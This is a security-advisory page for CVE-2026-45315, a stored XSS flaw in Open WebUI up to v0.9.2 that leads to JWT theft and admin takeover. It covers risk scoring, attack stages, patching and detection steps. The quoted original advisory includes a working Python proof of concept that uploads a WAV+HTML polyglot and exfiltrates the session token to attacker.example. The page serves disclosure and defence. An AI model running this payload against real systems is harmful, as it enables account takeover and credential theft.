CVE-2026-45315: open-webui: stored XSS → JWT theft and admin takeover

GHSA-m8f9-9whg-f4xr HIGH PoC AVAILABLE CISA: ATTEND
Published May 14, 2026
CISO Take

Open WebUI v0.9.2 and earlier contains a stored XSS vulnerability that allows any authenticated user — leveraging the default-on speech-to-text permission — to upload a polyglot WAV+HTML file that the server stores and later serves with Content-Type: text/html, executing arbitrary JavaScript in the Open WebUI origin. The blast radius extends to full account takeover of any user including admins: JWTs live in localStorage and the OAuth cookie is set without HttpOnly, making credential exfiltration deterministic with a single victim click. An end-to-end working PoC is publicly available in the advisory, the exploitation bar is trivially low (one API call from any valid session, one click from the victim), and with 91 prior CVEs in this package the security posture of Open WebUI warrants heightened scrutiny. Upgrade to v0.9.3 immediately; if patching is blocked, set USER_PERMISSIONS_CHAT_STT=False to remove the upload vector from non-admin accounts.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

High risk with a low exploitation barrier. CVSS 8.7 with network attack vector, low complexity, and low privileges means any authenticated user in a shared deployment can launch the attack. The default-on chat.stt permission ensures near-universal attacker eligibility without any special role needed. User interaction is required but is trivially satisfied in a chat application where sharing links is expected behaviour. The non-HttpOnly OAuth cookie and localStorage JWT storage make credential exfiltration reliable and deterministic — no brute force or guessing involved. The secondary path to admin-level plugin execution on the server elevates this from credential theft to potential remote code execution in organisations where Open WebUI is backed by privileged model infrastructure. The 91-CVE history of this package signals persistent under-investment in security review.

How does the attack unfold?

Initial Access
Attacker authenticates to Open WebUI with any standard user account; the default-on chat.stt permission is all that is required — no privilege escalation needed.
AML.T0012
Payload Staging
Attacker uploads a crafted polyglot WAV+HTML file named pwn.html to /api/v1/audio/transcriptions; the server accepts it (MIME check passes on the upload header) and stores it as <uuid>.html with no content validation.
AML.T0049
User Execution
Attacker delivers the cache URL to a target user via the chat interface; victim clicks the link and the browser renders the server response as text/html, executing the embedded JavaScript in the Open WebUI origin.
AML.T0011.003
Credential Theft and Takeover
The XSS payload reads the victim's JWT from localStorage and the non-HttpOnly OAuth cookie, exfiltrates both to an attacker server, and the attacker replays the token for full account takeover — including admin-level plugin execution if the victim is an admin.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.2 0.9.3
143.3K Pushed 5d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
8.7 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 8% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C High
I High
A None

What should I do?

6 steps
  1. Patch immediately: upgrade open-webui to v0.9.3, which addresses the root causes.

  2. Workaround (if patching is blocked): set the environment variable USER_PERMISSIONS_CHAT_STT=False to revoke audio upload rights from all non-admin users — this breaks the attack chain at the upload stage.

  3. Harden token storage: migrate JWTs from localStorage to HttpOnly, SameSite=Lax cookies to eliminate the XSS exfiltration path regardless of future vulnerabilities.

  4. Add response headers: enforce Content-Disposition: attachment and X-Content-Type-Options: nosniff on all /cache/* routes as defence-in-depth.

  5. Detection: query web server access logs for GET requests to /cache/audio/transcriptions/ where the file extension is not in {wav, mp3, mp4, ogg, webm, flac} — any .html, .js, .svg hit is a strong indicator of exploitation.

  6. Rotate all Open WebUI user tokens if exploitation cannot be ruled out, and audit admin-level plugin configurations for unauthorised additions.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15(1) - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI system requirements and design
NIST AI RMF
MANAGE 2.2 - Mechanisms to minimize AI risks
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM06 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-45315?

Open WebUI v0.9.2 and earlier contains a stored XSS vulnerability that allows any authenticated user — leveraging the default-on speech-to-text permission — to upload a polyglot WAV+HTML file that the server stores and later serves with Content-Type: text/html, executing arbitrary JavaScript in the Open WebUI origin. The blast radius extends to full account takeover of any user including admins: JWTs live in localStorage and the OAuth cookie is set without HttpOnly, making credential exfiltration deterministic with a single victim click. An end-to-end working PoC is publicly available in the advisory, the exploitation bar is trivially low (one API call from any valid session, one click from the victim), and with 91 prior CVEs in this package the security posture of Open WebUI warrants heightened scrutiny. Upgrade to v0.9.3 immediately; if patching is blocked, set USER_PERMISSIONS_CHAT_STT=False to remove the upload vector from non-admin accounts.

Is CVE-2026-45315 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-45315, increasing the risk of exploitation.

How to fix CVE-2026-45315?

1. Patch immediately: upgrade open-webui to v0.9.3, which addresses the root causes. 2. Workaround (if patching is blocked): set the environment variable USER_PERMISSIONS_CHAT_STT=False to revoke audio upload rights from all non-admin users — this breaks the attack chain at the upload stage. 3. Harden token storage: migrate JWTs from localStorage to HttpOnly, SameSite=Lax cookies to eliminate the XSS exfiltration path regardless of future vulnerabilities. 4. Add response headers: enforce Content-Disposition: attachment and X-Content-Type-Options: nosniff on all /cache/* routes as defence-in-depth. 5. Detection: query web server access logs for GET requests to /cache/audio/transcriptions/ where the file extension is not in {wav, mp3, mp4, ogg, webm, flac} — any .html, .js, .svg hit is a strong indicator of exploitation. 6. Rotate all Open WebUI user tokens if exploitation cannot be ruled out, and audit admin-level plugin configurations for unauthorised additions.

What systems are affected by CVE-2026-45315?

This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces and self-hosted LLM gateways, Multi-user AI platforms with shared authentication, Agent-enabled web frontends with tool/plugin execution, On-premises AI assistant deployments.

What is the CVSS score for CVE-2026-45315?

CVE-2026-45315 has a CVSS v3.1 base score of 8.7 (HIGH). The EPSS exploitation probability is 0.18%.

What is the AI security impact?

Affected AI Architectures

AI chat interfaces and self-hosted LLM gatewaysMulti-user AI platforms with shared authenticationAgent-enabled web frontends with tool/plugin executionOn-premises AI assistant deployments

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 15(1)
ISO 42001: A.6.2
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM02, LLM06

What are the technical details?

Original Advisory

## Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. ## Details Verified on main @ 8dae237a (v0.9.2): - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.content_type. - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. ## PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx data = b'\x80' * 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>' r = httpx.post( 'https://VICTIM/api/v1/audio/transcriptions', headers={'Authorization': f'Bearer {ATTACKER_JWT}'}, files={'file': ('pwn.html', payload, 'audio/wav')}, ) fn = r.json()['filename'] # '<uuid>.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn> ``` https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408 ## Impact Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report. Affected: <= 0.9.2. Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie. Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Exploitation Scenario

An adversary with a low-privilege Open WebUI account (chat.stt permission enabled by default) crafts a polyglot binary: a syntactically valid WAV file with an HTML+JavaScript payload appended after the audio data. The file is named pwn.html and uploaded to the /api/v1/audio/transcriptions endpoint with Content-Type: audio/wav — the server accepts it because MIME validation only checks the upload header, not the body, and stores it as <uuid>.html in the shared cache directory. The adversary constructs the public cache URL and delivers it to a target user — an admin — via the chat interface, disguised as a shared resource. When the admin clicks the link, the /cache/{path} route serves the file with Content-Type: text/html and no Content-Disposition header; the browser renders it as HTML and the script runs in the Open WebUI origin. The payload fetches localStorage.token (the admin JWT) and sends it via an async fetch to an attacker-controlled server. The adversary immediately replays the token to authenticate as admin, gains access to all user data and model configurations, and — optionally — installs a malicious Open WebUI plugin to achieve persistent server-side code execution.

Weaknesses (CWE)

CWE-434 — Unrestricted Upload of File with Dangerous Type: The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

  • [Architecture and Design] Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
  • [Architecture and Design] When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities